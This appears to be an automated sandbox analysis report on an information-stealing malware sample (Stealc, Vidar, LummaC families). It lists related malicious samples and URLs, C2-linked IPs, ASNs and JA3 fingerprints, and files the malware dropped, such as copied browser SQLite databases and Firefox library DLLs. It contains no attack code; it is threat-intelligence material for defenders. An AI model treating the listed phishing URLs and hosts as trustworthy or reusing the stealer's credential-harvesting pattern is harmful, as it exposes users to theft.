	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	down.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
bg.microsoft.map.fastly.net	Aew8SXjXEb.exe	Get hash	malicious	Stealc	Browse	199.232.214.172
	Adobe-Setup.msi	Get hash	malicious	Korplug	Browse	199.232.210.172
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	199.232.214.172
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse	199.232.210.172
	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	199.232.214.172
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	199.232.214.172
	lCVFGKfczi.exe	Get hash	malicious	Vidar	Browse	199.232.214.172
	1f13Cs1ogc.exe	Get hash	malicious	Stealc	Browse	199.232.214.172
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	199.232.210.172
	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	https://steamcommonunity.com/gift/receive	Get hash	malicious	Unknown	Browse	147.45.47.205
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	cmBxQ7gA5a.exe	Get hash	malicious	Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
	fe6yqly1Xh.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	f2e7fcb20146.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	d1bc91bd44a0.exe	Get hash	malicious	PrivateLoader, Stealc, Vidar	Browse	46.8.231.109
	f2e7fcb20146.exe	Get hash	malicious	Stealc	Browse	46.8.231.109
AKAMAI-ASUS	CSY6k9gpVb.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	http://kendellseafoods.com/	Get hash	malicious	Unknown	Browse	104.102.44.86
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	DocuSign-Docx.pdf	Get hash	malicious	Unknown	Browse	88.221.168.23
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	Aew8SXjXEb.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	lCVFGKfczi.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	1f13Cs1ogc.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.45
	https://www.rhris.com/EmailEmploymentValidation.cfm?EmploymentRefID=E84F959AEA960B8186C356E23E6C822C8E204B6A75564EECEC1823507D68DDBF	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://future.nhs.uk	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.45
	https://fenster-mark-gmbhsharefile.btn-ebikes.com/	Get hash	malicious	Unknown	Browse	13.107.246.45
	Hscni Remittance_8115919700_16831215.html	Get hash	malicious	Tycoon2FA	Browse	13.107.246.45
28a2c9bd18a11de089ef85a160da29e4	2005.exe	Get hash	malicious	Dice	Browse	13.107.246.45
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	13.107.246.45
	2005.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://cloudshare.weil.com/invitations?share=f213408950da5c01bcf2	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://66e41162be8b44fa4ef98165--lively-meringue-d6fcef.netlify.app/	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://doccloudshareddrive.com/?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-10-07T16%3A53%3A27.609Z&priority=high&include_details=true	Get hash	malicious	Unknown	Browse	13.107.246.45
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	13.107.246.45
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	CSY6k9gpVb.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAFIIJDAAAAKFHIDAAAKJJEGDH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFIEBKK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBKJKJDBFIIDHJKEHJEHIIIDAK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGIEGHJE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHJKFCGHIDHCBGDHJKEB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHJEGCAEGIIIDHIEBKEB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDGIJEGHDAECAKECAFCAKFCGDA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKJDAEBFCBKECBGDBFCFBKKKFH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIDBAFHCAKFBGCBFHIJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_FdjDPFGTZS.exe_e213acb83f70849bc0377c8625bb4036fca7326_85479d3d_b503d752-1ea1-40ee-9ed4-bd2e9d892518\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6575287533555317
Encrypted:	false
SSDEEP:	96:H2F9vwu40ApU87s5zyN5RAAf5QXIDcQvc6QcEVcw3cE/9hvhd+HbHg/5hZAX/d57:WY/H7w0BU/gjhzuiF/Z24IO83W
MD5:	53E35E9C4EAFF4BD5AD13A7FA726007C
SHA1:	DDE9A917CBEB1735DBA61CBC0DEA3812E6321CF0
SHA-256:	B7EA12003C6C9616EB0881DF156FD4A9BD5E3D8108CACEA34AD4D543B01FFAAB
SHA-512:	CD8BD268A2D768BF98C7E987943C78D32586D0CFBCD7BCB5447001ABC39BF39226D634750103367F5690C0E18D4E7E5FF0D9F52DEA8B651ED72AD732F8619319
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.9.5.9.9.1.8.0.8.9.5.7.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.9.5.9.9.2.1.3.7.0.7.9.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.5.0.3.d.7.5.2.-.1.e.a.1.-.4.0.e.e.-.9.e.d.4.-.b.d.2.e.9.d.8.9.2.5.1.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.b.a.2.7.3.b.a.-.4.f.a.c.-.4.6.5.7.-.9.d.2.4.-.0.5.4.6.3.4.6.e.1.9.c.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.F.d.j.D.P.F.G.T.Z.S...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.2.d.c.-.0.0.0.1.-.0.0.1.4.-.d.4.2.4.-.1.a.f.b.d.e.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.4.e.e.5.4.1.5.4.d.5.a.2.3.d.9.8.5.6.c.6.5.d.c.a.9.4.1.0.7.0.3.5.a.8.8.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_userCAFIEBK_7a9d70a49a29368cba85c09fd949a8cf4b8be136_5acbf4f7_6f65736d-faac-4595-a68f-ced717de2741\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6593975158809665
Encrypted:	false
SSDEEP:	96:2sFE9yu0MiIZ6Qsd1yOdHA7fuQXIDcQvc6QcEVcw3cE/9pL+HbHg/5hZAX/d5FMN:HHurEQX0BU/gjhzuiF/Z24IO8P
MD5:	7B85078BAF8151255D65A7B085874A8A
SHA1:	D140E2E0182F8CFEF705D1121CBAEE9BA71880D0
SHA-256:	750AAE20535849C99D79909F20CB56669DFA21F12E1F48828696C944B792766A
SHA-512:	8D801D77A6704F648AFD5F490471BA1DBCC5AA241F8650B377EC9E1D34245D0DF2836CE3BF54C728F43EF5EB83D5C4E235602FFC7604709FC3FCCD70AB6D4129
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.9.6.0.0.5.4.3.6.2.9.5.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.9.6.0.0.6.2.4.8.7.8.3.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.f.6.5.7.3.6.d.-.f.a.a.c.-.4.5.9.5.-.a.6.8.f.-.c.e.d.7.1.7.d.e.2.7.4.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.b.3.b.8.2.2.1.-.4.c.7.0.-.4.9.e.7.-.9.5.f.3.-.3.a.f.e.9.b.b.9.6.8.7.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.r.o.n.t.d.e.s.k.C.A.F.I.E.B.K.K.J.J...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.0.8.-.0.0.0.1.-.0.0.1.4.-.6.f.2.4.-.6.b.0.3.d.f.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.b.1.a.9.9.a.5.0.9.d.1.2.6.3.c.c.9.6.c.9.6.2.7.c.e.7.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER47B7.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 7 17:33:11 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	33876
Entropy (8bit):	1.7108988892653816
Encrypted:	false
SSDEEP:	96:508R33FHyn/SJ6QcnTmi77H7hKY4Sg32HzHJOBoH67t3WIkWIuII4eLudc8VPe:Zmn16OD4SA2HzHJaj4eLudvVPe
MD5:	B7E12C5FB7C3DAECFF3C477CD52ED87F
SHA1:	073C14971865F28265E80D93A99AFF4A7B3F8CAE
SHA-256:	DCAAF747D63F03B9AF5752F6308AD6E7ED7F26C22F18E940A5DC6A01D959CFEA
SHA-512:	BCC32D951BF79BDEB5F3BD6CDF048B460464C4D3D2CA6705AED4CB4320CB0744D6CFC5FB5119736510A3AA45B1CECFA16AA726F6FAAF666C4BD0D6B9611576A9
Malicious:	false
Preview:	MDMP..a..... .......W..g........................d...........................T.......8...........T................y......................................................................................................eJ..............GenuineIntel............T...........W..g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4825.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8328
Entropy (8bit):	3.698015970384116
Encrypted:	false
SSDEEP:	192:R6l7wVeJ3L6Z6YN5SU9jM0fgmfXGlbprO89bOQsfqam:R6lXJ76Z6YzSU9g0fgmfXGlxOjfO
MD5:	E73B1D03A5C0458FD5E10718EA975EAD
SHA1:	075C2D71742ED326E3C7F9BA1CAA8E129048CC40
SHA-256:	7BF64CBAAB04B9EF5F4A1B4B83A51AC003BEB9FB9F1B60D62509073C4F4211DF
SHA-512:	1F807BE17A6E3221B5BE956441BB57476329EC38A02912D8D7128187615CA30409735F47FDFEA1E3BB6B21B978C4E5398A9BABADB7E535CB348D58F80CB87FA6
Malicious:	false
